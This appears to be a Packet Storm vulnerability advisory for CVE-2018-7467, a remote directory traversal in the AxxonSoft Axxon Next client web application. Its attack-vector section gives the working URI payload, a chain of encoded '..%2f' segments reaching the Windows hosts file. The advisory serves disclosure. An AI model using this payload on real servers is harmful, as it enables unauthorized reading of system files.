Lucene search

K
packetstormMartin A Cicalla JrPACKETSTORM:146604
HistoryFeb 28, 2018 - 12:00 a.m.

AxxonSoft Axxon Next Directory Traversal

2018-02-2800:00:00
Martin A Cicalla Jr
packetstormsecurity.com
34

0.004 Low

EPSS

Percentile

73.6%

`Title  
  
AxxonSoft Axxon Next - AxxonSoft Client Directory Traversal via an initial  
/css//..%2f substring in a URI. CVE-2018-7467  
  
[Vulnerability Type]  
  
Directory Traversal via an initial /css//..%2f substring in a URI  
  
[Vendor of Product]  
  
AxxonSoft Client  
  
[Affected Product Code Base]  
  
Axxon Next  
  
[Affected Component]  
  
AxxonSoft Client Web Application's Source Code  
  
[Attack Type]  
  
Remote  
  
[Impact Information Disclosure]  
  
true  
  
[Attack Vectors]  
  
It is a Directory Traversal   
  
  
/css//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f  
..%2f..%2f..%2f..%2fwindows\System32\drivers\etc\hosts  
  
  
  
[Discoverer]  
  
Martin A Cicalla Jr  
`

0.004 Low

EPSS

Percentile

73.6%

Related for PACKETSTORM:146604